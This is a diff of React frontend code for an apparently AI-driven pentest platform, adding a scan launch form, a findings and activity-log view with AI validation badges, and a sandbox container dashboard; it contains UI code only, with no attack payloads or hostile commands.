className="w-full px-4 py-3 bg-dark-900 border border-dark-600 rounded-xl text-white placeholder-dark-500 focus:outline-none focus:border-green-500 disabled:opacity-50"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Auth Section (collapsible) */}
|
||||
<div className="mb-6">
|
||||
<button
|
||||
onClick={() => setShowAuth(!showAuth)}
|
||||
disabled={isRunning}
|
||||
className="flex items-center gap-2 text-sm text-dark-400 hover:text-white transition-colors disabled:opacity-50"
|
||||
>
|
||||
<Lock className="w-4 h-4" />
|
||||
<span>Authentication (Optional)</span>
|
||||
{showAuth ? <ChevronUp className="w-4 h-4" /> : <ChevronDown className="w-4 h-4" />}
|
||||
</button>
|
||||
|
||||
{showAuth && (
|
||||
<div className="mt-3 space-y-3 pl-6">
|
||||
<select
|
||||
value={authType}
|
||||
onChange={e => setAuthType(e.target.value)}
|
||||
disabled={isRunning}
|
||||
className="w-full px-3 py-2 bg-dark-900 border border-dark-600 rounded-lg text-white text-sm focus:outline-none focus:border-green-500"
|
||||
>
|
||||
<option value="">No Authentication</option>
|
||||
<option value="bearer">Bearer Token</option>
|
||||
<option value="cookie">Cookie</option>
|
||||
<option value="basic">Basic Auth (user:pass)</option>
|
||||
<option value="header">Custom Header (Name:Value)</option>
|
||||
</select>
|
||||
{authType && (
|
||||
<input
|
||||
type="text"
|
||||
value={authValue}
|
||||
onChange={e => setAuthValue(e.target.value)}
|
||||
disabled={isRunning}
|
||||
placeholder={
|
||||
authType === 'bearer' ? 'eyJhbGciOiJIUzI1NiIs...' :
|
||||
authType === 'cookie' ? 'session=abc123; token=xyz' :
|
||||
authType === 'basic' ? 'admin:password123' :
|
||||
'X-API-Key:your-api-key'
|
||||
}
|
||||
className="w-full px-3 py-2 bg-dark-900 border border-dark-600 rounded-lg text-white text-sm placeholder-dark-500 focus:outline-none focus:border-green-500"
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Custom AI Prompt (collapsible) */}
|
||||
<div className="mb-6">
|
||||
<button
|
||||
onClick={() => setShowPrompt(!showPrompt)}
|
||||
disabled={isRunning}
|
||||
className="flex items-center gap-2 text-sm text-dark-400 hover:text-white transition-colors disabled:opacity-50"
|
||||
>
|
||||
<MessageSquare className="w-4 h-4" />
|
||||
<span>Custom AI Prompt (Optional)</span>
|
||||
{showPrompt ? <ChevronUp className="w-4 h-4" /> : <ChevronDown className="w-4 h-4" />}
|
||||
</button>
|
||||
|
||||
{showPrompt && (
|
||||
<div className="mt-3 pl-6">
|
||||
<textarea
|
||||
value={customPrompt}
|
||||
onChange={e => setCustomPrompt(e.target.value)}
|
||||
rows={4}
|
||||
disabled={isRunning}
|
||||
placeholder={"Focus on authentication bypass and IDOR vulnerabilities.\nThe app uses JWT tokens in localStorage.\nAdmin panel at /admin requires role=admin cookie."}
|
||||
className="w-full px-4 py-3 bg-dark-900 border border-dark-600 rounded-xl text-white text-sm placeholder-dark-500 focus:outline-none focus:border-green-500 disabled:opacity-50"
|
||||
/>
|
||||
<p className="mt-1 text-xs text-dark-500">
|
||||
Guide the AI agent with additional context, focus areas, or specific instructions.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Error */}
|
||||
{error && (
|
||||
<div className="mb-6 p-3 bg-red-500/10 border border-red-500/20 rounded-lg flex items-center gap-2">
|
||||
<AlertTriangle className="w-5 h-5 text-red-400" />
|
||||
<span className="text-red-400 text-sm">{error}</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Start Button */}
|
||||
<button
|
||||
onClick={handleStart}
|
||||
disabled={!target.trim()}
|
||||
className="w-full py-4 bg-green-500 hover:bg-green-600 disabled:bg-dark-600 disabled:text-dark-400 text-white font-bold text-lg rounded-xl transition-colors flex items-center justify-center gap-3"
|
||||
>
|
||||
<Rocket className="w-6 h-6" />
|
||||
START PENTEST
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Active Session View */}
|
||||
{agentId && (
|
||||
<div className="w-full max-w-4xl">
|
||||
{/* Session Header */}
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl p-6 mb-6">
|
||||
<div className="flex items-center justify-between mb-4">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className={`w-3 h-3 rounded-full ${isRunning ? 'bg-green-500 animate-pulse' : status?.status === 'completed' ? 'bg-green-500' : status?.status === 'error' ? 'bg-red-500' : 'bg-gray-500'}`} />
|
||||
<h3 className="text-white font-semibold">
|
||||
{isRunning ? 'Pentest Running' : status?.status === 'completed' ? 'Pentest Complete' : status?.status === 'error' ? 'Pentest Failed' : 'Pentest Stopped'}
|
||||
</h3>
|
||||
<span className="text-dark-400 text-sm">{target}</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
{isRunning && (
|
||||
<button
|
||||
onClick={handleStop}
|
||||
className="px-4 py-1.5 bg-red-500/20 hover:bg-red-500/30 text-red-400 rounded-lg text-sm transition-colors flex items-center gap-1.5"
|
||||
>
|
||||
<X className="w-4 h-4" /> Stop
|
||||
</button>
|
||||
)}
|
||||
{!isRunning && (
|
||||
<button
|
||||
onClick={handleClearSession}
|
||||
className="px-4 py-1.5 bg-dark-700 hover:bg-dark-600 text-dark-300 rounded-lg text-sm transition-colors flex items-center gap-1.5"
|
||||
>
|
||||
<Trash2 className="w-4 h-4" /> Clear Session
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Progress Bar */}
|
||||
{status && (
|
||||
<>
|
||||
<div className="flex items-center justify-between text-sm mb-2">
|
||||
<span className="text-dark-400">{status.phase || 'Initializing...'}</span>
|
||||
<span className="text-dark-400">{status.progress}%</span>
|
||||
</div>
|
||||
<div className="w-full bg-dark-900 rounded-full h-2 mb-4">
|
||||
<div
|
||||
className="bg-green-500 h-2 rounded-full transition-all duration-500"
|
||||
style={{ width: `${status.progress}%` }}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Phase Indicators */}
|
||||
<div className="grid grid-cols-3 gap-3">
|
||||
{PHASES.map((phase, idx) => {
|
||||
const Icon = phase.icon
|
||||
const isActive = idx === currentPhaseIdx && isRunning
|
||||
const isDone = idx < currentPhaseIdx || status.status === 'completed'
|
||||
|
||||
return (
|
||||
<div
|
||||
key={phase.key}
|
||||
className={`rounded-xl p-3 border transition-all duration-300 ${
|
||||
isActive ? 'bg-green-500/10 border-green-500/30' :
|
||||
isDone ? 'bg-dark-700/50 border-dark-600' :
|
||||
'bg-dark-900 border-dark-700'
|
||||
}`}
|
||||
>
|
||||
<div className="flex items-center gap-2 mb-1">
|
||||
{isActive ? (
|
||||
<Loader2 className="w-4 h-4 animate-spin text-green-400 flex-shrink-0" />
|
||||
) : isDone ? (
|
||||
<CheckCircle2 className="w-4 h-4 text-green-500 flex-shrink-0" />
|
||||
) : (
|
||||
<Icon className={`w-4 h-4 flex-shrink-0 ${isActive ? 'text-green-400' : 'text-dark-500'}`} />
|
||||
)}
|
||||
<span className={`text-xs font-medium ${
|
||||
isActive ? 'text-green-400' :
|
||||
isDone ? 'text-dark-300' :
|
||||
'text-dark-500'
|
||||
}`}>
|
||||
{phase.label}
|
||||
</span>
|
||||
<span className={`ml-auto text-[10px] ${
|
||||
isActive ? 'text-green-500/60' :
|
||||
isDone ? 'text-dark-500' :
|
||||
'text-dark-600'
|
||||
}`}>
|
||||
{phase.range[0]}-{phase.range[1]}%
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{/* Stream badges for the parallel phase */}
|
||||
{idx === 0 && (
|
||||
<div className="flex flex-wrap gap-1.5 mt-2">
|
||||
{STREAMS.map(stream => (
|
||||
<StreamBadge
|
||||
key={stream.key}
|
||||
stream={stream}
|
||||
progress={status.progress}
|
||||
isRunning={isRunning}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Severity Summary + Tabs */}
|
||||
{findings.length > 0 && (
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl p-6 mb-6">
|
||||
<div className="flex items-center justify-between mb-4">
|
||||
<div className="flex items-center gap-3">
|
||||
<h3 className="text-white font-semibold">Findings ({findings.length})</h3>
|
||||
<div className="flex gap-2">
|
||||
{['critical', 'high', 'medium', 'low', 'info'].map(sev => {
|
||||
const count = sevCounts[sev] || 0
|
||||
if (count === 0) return null
|
||||
return (
|
||||
<span key={sev} className={`${SEVERITY_COLORS[sev]} text-white px-2 py-0.5 rounded-full text-xs font-bold`}>
|
||||
{count}
|
||||
</span>
|
||||
)
|
||||
})}
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex gap-2">
|
||||
<button
|
||||
onClick={() => { setShowFindings(true); setShowLogs(false) }}
|
||||
className={`px-3 py-1 rounded-lg text-xs transition-colors ${showFindings ? 'bg-primary-500 text-white' : 'bg-dark-700 text-dark-400 hover:text-white'}`}
|
||||
>
|
||||
<Bug className="w-3 h-3 inline mr-1" />Findings ({findings.length})
|
||||
</button>
|
||||
{rejectedFindings.length > 0 && (
|
||||
<button
|
||||
onClick={() => { setShowFindings(true); setShowLogs(false); setFindingsFilter(findingsFilter === 'rejected' ? 'all' : 'rejected') }}
|
||||
className={`px-3 py-1 rounded-lg text-xs transition-colors ${findingsFilter === 'rejected' && showFindings ? 'bg-orange-500/30 text-orange-400' : 'bg-dark-700 text-orange-400/60 hover:text-orange-400'}`}
|
||||
>
|
||||
<AlertTriangle className="w-3 h-3 inline mr-1" />Rejected ({rejectedFindings.length})
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
onClick={() => { setShowLogs(true); setShowFindings(false) }}
|
||||
className={`px-3 py-1 rounded-lg text-xs transition-colors ${showLogs ? 'bg-primary-500 text-white' : 'bg-dark-700 text-dark-400 hover:text-white'}`}
|
||||
>
|
||||
<ScrollText className="w-3 h-3 inline mr-1" />Activity Log
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Findings Filter Tabs */}
|
||||
{showFindings && allFindings.length > 0 && rejectedFindings.length > 0 && (
|
||||
<div className="flex gap-1 mb-2">
|
||||
{(['all', 'confirmed', 'rejected'] as const).map(f => (
|
||||
<button
|
||||
key={f}
|
||||
onClick={() => setFindingsFilter(f)}
|
||||
className={`px-2 py-0.5 rounded-full text-xs transition-colors ${
|
||||
findingsFilter === f ? 'bg-primary-500/20 text-primary-400' : 'text-dark-500 hover:text-dark-300'
|
||||
}`}
|
||||
>
|
||||
{f === 'all' ? `All (${allFindings.length})` : f === 'confirmed' ? `Confirmed (${findings.length})` : `Rejected (${rejectedFindings.length})`}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Findings List */}
|
||||
{showFindings && (
|
||||
<div className="space-y-2 max-h-[500px] overflow-y-auto pr-1">
|
||||
{displayFindings.map((f: AgentFinding) => (
|
||||
<div
|
||||
key={f.id}
|
||||
className={`border ${f.ai_status === 'rejected' ? 'border-orange-500/30 opacity-70' : (SEVERITY_BORDER[f.severity] || 'border-dark-600')} rounded-xl bg-dark-900 overflow-hidden`}
|
||||
>
|
||||
<button
|
||||
onClick={() => setExpandedFinding(expandedFinding === f.id ? null : f.id)}
|
||||
className="w-full flex items-center gap-3 p-3 text-left hover:bg-dark-800/50 transition-colors"
|
||||
>
|
||||
<span className={`${SEVERITY_COLORS[f.severity]} text-white px-2 py-0.5 rounded text-xs font-bold uppercase flex-shrink-0`}>
|
||||
{f.severity}
|
||||
</span>
|
||||
<span className={`text-sm flex-1 truncate ${f.ai_status === 'rejected' ? 'text-dark-400' : 'text-white'}`}>{f.title}</span>
|
||||
{f.ai_status === 'rejected' && (
|
||||
<span className="text-xs px-1.5 py-0.5 rounded-full bg-orange-500/20 text-orange-400 flex-shrink-0">Rejected</span>
|
||||
)}
|
||||
{(() => {
|
||||
const conf = getConfidenceDisplay(f)
|
||||
if (!conf) return null
|
||||
return (
|
||||
<span className={`text-xs font-semibold px-1.5 py-0.5 rounded-full border flex-shrink-0 ${CONFIDENCE_STYLES[conf.color]}`}>
|
||||
{conf.score}/100
|
||||
</span>
|
||||
)
|
||||
})()}
|
||||
<span className="text-dark-500 text-xs flex-shrink-0">{f.vulnerability_type}</span>
|
||||
{expandedFinding === f.id ? <ChevronUp className="w-4 h-4 text-dark-400" /> : <ChevronDown className="w-4 h-4 text-dark-400" />}
|
||||
</button>
|
||||
|
||||
{expandedFinding === f.id && (
|
||||
<div className="px-3 pb-3 space-y-2 border-t border-dark-700 pt-2">
|
||||
<div className="grid grid-cols-2 gap-2 text-xs">
|
||||
{f.affected_endpoint && (
|
||||
<div>
|
||||
<span className="text-dark-500">Endpoint: </span>
|
||||
<span className="text-dark-300 break-all">{f.affected_endpoint}</span>
|
||||
</div>
|
||||
)}
|
||||
{f.parameter && (
|
||||
<div>
|
||||
<span className="text-dark-500">Parameter: </span>
|
||||
<span className="text-dark-300">{f.parameter}</span>
|
||||
</div>
|
||||
)}
|
||||
{f.cwe_id && (
|
||||
<div>
|
||||
<span className="text-dark-500">CWE: </span>
|
||||
<span className="text-dark-300">{f.cwe_id}</span>
|
||||
</div>
|
||||
)}
|
||||
{f.cvss_score > 0 && (
|
||||
<div>
|
||||
<span className="text-dark-500">CVSS: </span>
|
||||
<span className="text-dark-300">{f.cvss_score}</span>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{f.description && (
|
||||
<p className="text-dark-400 text-xs">{f.description.substring(0, 300)}{f.description.length > 300 ? '...' : ''}</p>
|
||||
)}
|
||||
{f.payload && (
|
||||
<div className="bg-dark-800 rounded-lg p-2">
|
||||
<span className="text-dark-500 text-xs">Payload: </span>
|
||||
<code className="text-green-400 text-xs break-all">{f.payload.substring(0, 200)}</code>
|
||||
</div>
|
||||
)}
|
||||
{f.evidence && (
|
||||
<div className="bg-dark-800 rounded-lg p-2">
|
||||
<span className="text-dark-500 text-xs">Evidence: </span>
|
||||
<span className="text-dark-300 text-xs">{f.evidence.substring(0, 300)}</span>
|
||||
</div>
|
||||
)}
|
||||
{f.poc_code && (
|
||||
<div className="mt-2">
|
||||
<p className="text-xs font-medium text-dark-400 mb-1">PoC Code</p>
|
||||
<pre className="p-2 bg-dark-950 rounded text-xs text-green-400 overflow-x-auto max-h-[300px] overflow-y-auto whitespace-pre-wrap">{f.poc_code}</pre>
|
||||
</div>
|
||||
)}
|
||||
{f.ai_status === 'rejected' && f.rejection_reason && (
|
||||
<div className="bg-orange-500/10 border border-orange-500/20 rounded-lg p-2">
|
||||
<span className="text-orange-400 text-xs font-medium">Rejection: </span>
|
||||
<span className="text-orange-300/80 text-xs">{f.rejection_reason}</span>
|
||||
</div>
|
||||
)}
|
||||
<div className="flex items-center gap-2 flex-wrap">
|
||||
<span className={`text-xs ${f.ai_status === 'rejected' ? 'text-orange-400' : f.ai_verified ? 'text-green-400' : 'text-dark-500'}`}>
|
||||
{f.ai_status === 'rejected' ? 'AI Rejected' : f.ai_verified ? 'AI Verified' : 'Tool Detected'}
|
||||
</span>
|
||||
{(() => {
|
||||
const conf = getConfidenceDisplay(f)
|
||||
if (!conf) return null
|
||||
return (
|
||||
<span className={`text-xs font-semibold px-1.5 py-0.5 rounded-full border ${CONFIDENCE_STYLES[conf.color]}`}>
|
||||
Confidence: {conf.score}/100 ({conf.label})
|
||||
</span>
|
||||
)
|
||||
})()}
|
||||
</div>
|
||||
{(() => {
|
||||
const hasBreakdown = f.confidence_breakdown && Object.keys(f.confidence_breakdown).length > 0
|
||||
const hasProof = !!f.proof_of_execution
|
||||
const hasControls = !!f.negative_controls
|
||||
if (!hasBreakdown && !hasProof && !hasControls) return null
|
||||
return (
|
||||
<div className="bg-dark-800 rounded-lg p-2 space-y-1">
|
||||
{hasBreakdown && (
|
||||
<div className="grid grid-cols-2 gap-x-4 gap-y-0.5 text-xs text-dark-400">
|
||||
{Object.entries(f.confidence_breakdown!).map(([key, val]) => (
|
||||
<div key={key} className="flex justify-between">
|
||||
<span className="capitalize">{key.replace(/_/g, ' ')}</span>
|
||||
<span className={`font-mono font-medium ${
|
||||
Number(val) > 0 ? 'text-green-400' : Number(val) < 0 ? 'text-red-400' : 'text-dark-500'
|
||||
}`}>
|
||||
{Number(val) > 0 ? '+' : ''}{val}
|
||||
</span>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{hasProof && (
|
||||
<p className="text-xs text-dark-400 flex items-start gap-1">
|
||||
<span className="text-green-400">✓</span>
|
||||
<span>Proof: <span className="text-dark-300">{f.proof_of_execution}</span></span>
|
||||
</p>
|
||||
)}
|
||||
{hasControls && (
|
||||
<p className="text-xs text-dark-400 flex items-start gap-1">
|
||||
<span className="text-blue-400">■</span>
|
||||
<span>Controls: <span className="text-dark-300">{f.negative_controls}</span></span>
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
})()}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Activity Log */}
|
||||
{showLogs && (
|
||||
<div className="bg-dark-900 rounded-xl p-3 max-h-[500px] overflow-y-auto font-mono text-xs">
|
||||
{logs.length === 0 ? (
|
||||
<p className="text-dark-500 text-center py-4">No logs yet...</p>
|
||||
) : (
|
||||
logs.map((log, i) => (
|
||||
<div key={i} className="flex gap-2 py-0.5">
|
||||
<span className="text-dark-600 flex-shrink-0">{log.time || ''}</span>
|
||||
<span className={`flex-shrink-0 uppercase w-12 ${
|
||||
log.level === 'error' ? 'text-red-400' :
|
||||
log.level === 'warning' ? 'text-yellow-400' :
|
||||
log.level === 'info' ? 'text-blue-400' :
|
||||
'text-dark-500'
|
||||
}`}>{log.level}</span>
|
||||
<span className={logMessageColor(log.message) || (log.source === 'llm' ? 'text-purple-400' : 'text-dark-300')}>
|
||||
{log.message}
|
||||
</span>
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
<div ref={logsEndRef} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* No findings yet but running */}
|
||||
{findings.length === 0 && isRunning && (
|
||||
<div className="bg-dark-800 border border-dark-700 rounded-2xl p-6 mb-6">
|
||||
<div className="flex items-center justify-between mb-4">
|
||||
<h3 className="text-white font-semibold">Activity</h3>
|
||||
<button
|
||||
onClick={() => setShowLogs(!showLogs)}
|
||||
className={`px-3 py-1 rounded-lg text-xs transition-colors ${showLogs ? 'bg-primary-500 text-white' : 'bg-dark-700 text-dark-400 hover:text-white'}`}
|
||||
>
|
||||
<ScrollText className="w-3 h-3 inline mr-1" />{showLogs ? 'Hide' : 'Show'} Logs
|
||||
</button>
|
||||
</div>
|
||||
{showLogs ? (
|
||||
<div className="bg-dark-900 rounded-xl p-3 max-h-[400px] overflow-y-auto font-mono text-xs">
|
||||
{logs.length === 0 ? (
|
||||
<div className="flex items-center justify-center py-4 text-dark-500">
|
||||
<Loader2 className="w-4 h-4 animate-spin mr-2" /> Waiting for logs...
|
||||
</div>
|
||||
) : (
|
||||
logs.map((log, i) => (
|
||||
<div key={i} className="flex gap-2 py-0.5">
|
||||
<span className="text-dark-600 flex-shrink-0">{log.time || ''}</span>
|
||||
<span className={`flex-shrink-0 uppercase w-12 ${
|
||||
log.level === 'error' ? 'text-red-400' :
|
||||
log.level === 'warning' ? 'text-yellow-400' :
|
||||
log.level === 'info' ? 'text-blue-400' :
|
||||
'text-dark-500'
|
||||
}`}>{log.level}</span>
|
||||
<span className={logMessageColor(log.message) || (log.source === 'llm' ? 'text-purple-400' : 'text-dark-300')}>
|
||||
{log.message}
|
||||
</span>
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
<div ref={logsEndRef} />
|
||||
</div>
|
||||
) : (
|
||||
<div className="flex items-center justify-center py-6 text-dark-500">
|
||||
<Loader2 className="w-5 h-5 animate-spin mr-2" />
|
||||
Scanning in progress... Findings will appear here as they are discovered.
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Completion Actions */}
|
||||
{status?.status === 'completed' && (
|
||||
<div className="bg-dark-800 border border-green-500/30 rounded-2xl p-6 mb-6">
|
||||
<div className="flex items-center gap-3 mb-4">
|
||||
<CheckCircle2 className="w-6 h-6 text-green-500" />
|
||||
<h3 className="text-green-400 font-semibold text-lg">Pentest Complete</h3>
|
||||
</div>
|
||||
<p className="text-dark-400 mb-4">
|
||||
Found {findings.length} vulnerabilities across {target}.
|
||||
</p>
|
||||
|
||||
{/* Report Generation */}
|
||||
{generatingReport && (
|
||||
<div className="mb-4 p-4 bg-purple-500/10 border border-purple-500/20 rounded-xl flex items-center gap-3">
|
||||
<Loader2 className="w-5 h-5 text-purple-400 animate-spin" />
|
||||
<div>
|
||||
<p className="text-purple-400 font-medium text-sm">Generating AI Report...</p>
|
||||
<p className="text-dark-400 text-xs">The AI is analyzing findings and writing the executive summary.</p>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="flex flex-wrap gap-3">
|
||||
<button
|
||||
onClick={() => navigate(`/agent/${agentId}`)}
|
||||
className="px-5 py-2 bg-primary-500 hover:bg-primary-600 text-white rounded-lg transition-colors flex items-center gap-2 text-sm"
|
||||
>
|
||||
<ExternalLink className="w-4 h-4" /> View Full Results
|
||||
</button>
|
||||
|
||||
{!reportId ? (
|
||||
<button
|
||||
onClick={handleGenerateAiReport}
|
||||
disabled={generatingReport || !status.scan_id}
|
||||
className="px-5 py-2 bg-purple-500 hover:bg-purple-600 disabled:opacity-50 text-white rounded-lg transition-colors flex items-center gap-2 text-sm"
|
||||
>
|
||||
<Sparkles className="w-4 h-4" /> Generate AI Report
|
||||
</button>
|
||||
) : (
|
||||
<>
|
||||
<a
|
||||
href={reportsApi.getViewUrl(reportId)}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="px-5 py-2 bg-green-500 hover:bg-green-600 text-white rounded-lg transition-colors flex items-center gap-2 text-sm"
|
||||
>
|
||||
<FileText className="w-4 h-4" /> View Report
|
||||
</a>
|
||||
<a
|
||||
href={reportsApi.getDownloadZipUrl(reportId)}
|
||||
className="px-5 py-2 bg-dark-700 hover:bg-dark-600 text-white rounded-lg transition-colors flex items-center gap-2 text-sm"
|
||||
>
|
||||
<Download className="w-4 h-4" /> Download ZIP
|
||||
</a>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Error state */}
|
||||
{status?.status === 'error' && (
|
||||
<div className="bg-dark-800 border border-red-500/30 rounded-2xl p-6">
|
||||
<div className="flex items-center gap-3 mb-2">
|
||||
<AlertTriangle className="w-6 h-6 text-red-400" />
|
||||
<h3 className="text-red-400 font-semibold">Pentest Failed</h3>
|
||||
</div>
|
||||
<p className="text-dark-400">{status.error || 'An unexpected error occurred.'}</p>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -249,13 +249,27 @@ export default function HomePage() {
|
||||
recentVulnerabilities.slice(0, 5).map((vuln) => (
|
||||
<div
|
||||
key={vuln.id}
|
||||
className="flex items-center justify-between p-3 bg-dark-900/50 rounded-lg"
|
||||
className={`flex items-center justify-between p-3 bg-dark-900/50 rounded-lg ${
|
||||
(vuln as any).validation_status === 'ai_rejected' ? 'opacity-60 border-l-2 border-orange-500/40' :
|
||||
(vuln as any).validation_status === 'false_positive' ? 'opacity-40' : ''
|
||||
}`}
|
||||
>
|
||||
<div className="flex-1 min-w-0">
|
||||
<p className="font-medium text-white truncate">{vuln.title}</p>
|
||||
<p className="text-xs text-dark-400 truncate">{vuln.affected_endpoint}</p>
|
||||
</div>
|
||||
<SeverityBadge severity={vuln.severity} />
|
||||
<div className="flex items-center gap-1.5">
|
||||
{(vuln as any).validation_status === 'ai_rejected' && (
|
||||
<span className="text-xs px-1.5 py-0.5 rounded-full bg-orange-500/20 text-orange-400">Rejected</span>
|
||||
)}
|
||||
{(vuln as any).validation_status === 'validated' && (
|
||||
<span className="text-xs px-1.5 py-0.5 rounded-full bg-green-500/20 text-green-400">Validated</span>
|
||||
)}
|
||||
{(vuln as any).validation_status === 'false_positive' && (
|
||||
<span className="text-xs px-1.5 py-0.5 rounded-full bg-dark-600 text-dark-400">FP</span>
|
||||
)}
|
||||
<SeverityBadge severity={vuln.severity} />
|
||||
</div>
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
|
||||
@@ -0,0 +1,474 @@
|
||||
import { useState, useEffect, useCallback } from 'react'
|
||||
import { Link } from 'react-router-dom'
|
||||
import {
|
||||
Box, RefreshCw, Trash2, Heart, Clock, Cpu,
|
||||
HardDrive, Timer, AlertTriangle, CheckCircle2,
|
||||
XCircle, Wrench, Container
|
||||
} from 'lucide-react'
|
||||
import Card from '../components/common/Card'
|
||||
import Button from '../components/common/Button'
|
||||
import { sandboxApi } from '../services/api'
|
||||
import type { SandboxPoolStatus, SandboxContainer } from '../types'
|
||||
|
||||
function formatUptime(seconds: number): string {
|
||||
if (seconds < 60) return `${Math.floor(seconds)}s`
|
||||
if (seconds < 3600) {
|
||||
const m = Math.floor(seconds / 60)
|
||||
const s = Math.floor(seconds % 60)
|
||||
return `${m}m ${s}s`
|
||||
}
|
||||
const h = Math.floor(seconds / 3600)
|
||||
const m = Math.floor((seconds % 3600) / 60)
|
||||
return `${h}h ${m}m`
|
||||
}
|
||||
|
||||
function timeAgo(isoDate: string | null): string {
|
||||
if (!isoDate) return 'Unknown'
|
||||
const diff = (Date.now() - new Date(isoDate).getTime()) / 1000
|
||||
if (diff < 60) return 'Just now'
|
||||
if (diff < 3600) return `${Math.floor(diff / 60)}m ago`
|
||||
if (diff < 86400) return `${Math.floor(diff / 3600)}h ago`
|
||||
return `${Math.floor(diff / 86400)}d ago`
|
||||
}
|
||||
|
||||
export default function SandboxDashboardPage() {
|
||||
const [data, setData] = useState<SandboxPoolStatus | null>(null)
|
||||
const [loading, setLoading] = useState(true)
|
||||
const [message, setMessage] = useState<{ type: 'success' | 'error'; text: string } | null>(null)
|
||||
const [destroyConfirm, setDestroyConfirm] = useState<string | null>(null)
|
||||
const [healthResults, setHealthResults] = useState<Record<string, { status: string; tools: string[] } | null>>({})
|
||||
const [healthLoading, setHealthLoading] = useState<Record<string, boolean>>({})
|
||||
const [actionLoading, setActionLoading] = useState(false)
|
||||
|
||||
const fetchData = useCallback(async (showSpinner = false) => {
|
||||
if (showSpinner) setLoading(true)
|
||||
try {
|
||||
const result = await sandboxApi.list()
|
||||
setData(result)
|
||||
} catch (error) {
|
||||
console.error('Failed to fetch sandbox data:', error)
|
||||
if (!data) {
|
||||
setData({
|
||||
pool: { active: 0, max_concurrent: 0, image: 'N/A', container_ttl_minutes: 0, docker_available: false },
|
||||
containers: [],
|
||||
error: 'Failed to connect to backend',
|
||||
})
|
||||
}
|
||||
} finally {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [])
|
||||
|
||||
// Initial fetch + 5-second polling
|
||||
useEffect(() => {
|
||||
fetchData(true)
|
||||
const interval = setInterval(() => fetchData(false), 5000)
|
||||
return () => clearInterval(interval)
|
||||
}, [fetchData])
|
||||
|
||||
// Auto-dismiss messages
|
||||
useEffect(() => {
|
||||
if (message) {
|
||||
const timer = setTimeout(() => setMessage(null), 4000)
|
||||
return () => clearTimeout(timer)
|
||||
}
|
||||
}, [message])
|
||||
|
||||
const handleDestroy = async (scanId: string) => {
|
||||
if (destroyConfirm !== scanId) {
|
||||
setDestroyConfirm(scanId)
|
||||
setTimeout(() => setDestroyConfirm(null), 5000)
|
||||
return
|
||||
}
|
||||
setDestroyConfirm(null)
|
||||
setActionLoading(true)
|
||||
try {
|
||||
await sandboxApi.destroy(scanId)
|
||||
setMessage({ type: 'success', text: `Container for scan ${scanId.slice(0, 8)}... destroyed` })
|
||||
fetchData(false)
|
||||
} catch (error: any) {
|
||||
setMessage({ type: 'error', text: error?.response?.data?.detail || 'Failed to destroy container' })
|
||||
} finally {
|
||||
setActionLoading(false)
|
||||
}
|
||||
}
|
||||
|
||||
const handleHealthCheck = async (scanId: string) => {
|
||||
setHealthLoading(prev => ({ ...prev, [scanId]: true }))
|
||||
try {
|
||||
const result = await sandboxApi.healthCheck(scanId)
|
||||
setHealthResults(prev => ({ ...prev, [scanId]: result }))
|
||||
setTimeout(() => {
|
||||
setHealthResults(prev => ({ ...prev, [scanId]: null }))
|
||||
}, 8000)
|
||||
} catch {
|
||||
setHealthResults(prev => ({ ...prev, [scanId]: { status: 'error', tools: [] } }))
|
||||
} finally {
|
||||
setHealthLoading(prev => ({ ...prev, [scanId]: false }))
|
||||
}
|
||||
}
|
||||
|
||||
const handleCleanup = async (type: 'expired' | 'orphans') => {
|
||||
setActionLoading(true)
|
||||
try {
|
||||
if (type === 'expired') {
|
||||
await sandboxApi.cleanup()
|
||||
} else {
|
||||
await sandboxApi.cleanupOrphans()
|
||||
}
|
||||
setMessage({ type: 'success', text: `${type === 'expired' ? 'Expired' : 'Orphan'} containers cleaned up` })
|
||||
fetchData(false)
|
||||
} catch (error: any) {
|
||||
setMessage({ type: 'error', text: error?.response?.data?.detail || `Cleanup failed` })
|
||||
} finally {
|
||||
setActionLoading(false)
|
||||
}
|
||||
}
|
||||
|
||||
if (loading && !data) {
|
||||
return (
|
||||
<div className="animate-pulse space-y-6">
|
||||
<div className="h-8 bg-dark-800 rounded w-64" />
|
||||
<div className="grid grid-cols-2 md:grid-cols-4 gap-4">
|
||||
{[1, 2, 3, 4].map(i => (
|
||||
<div key={i} className="h-24 bg-dark-800 rounded-lg" />
|
||||
))}
|
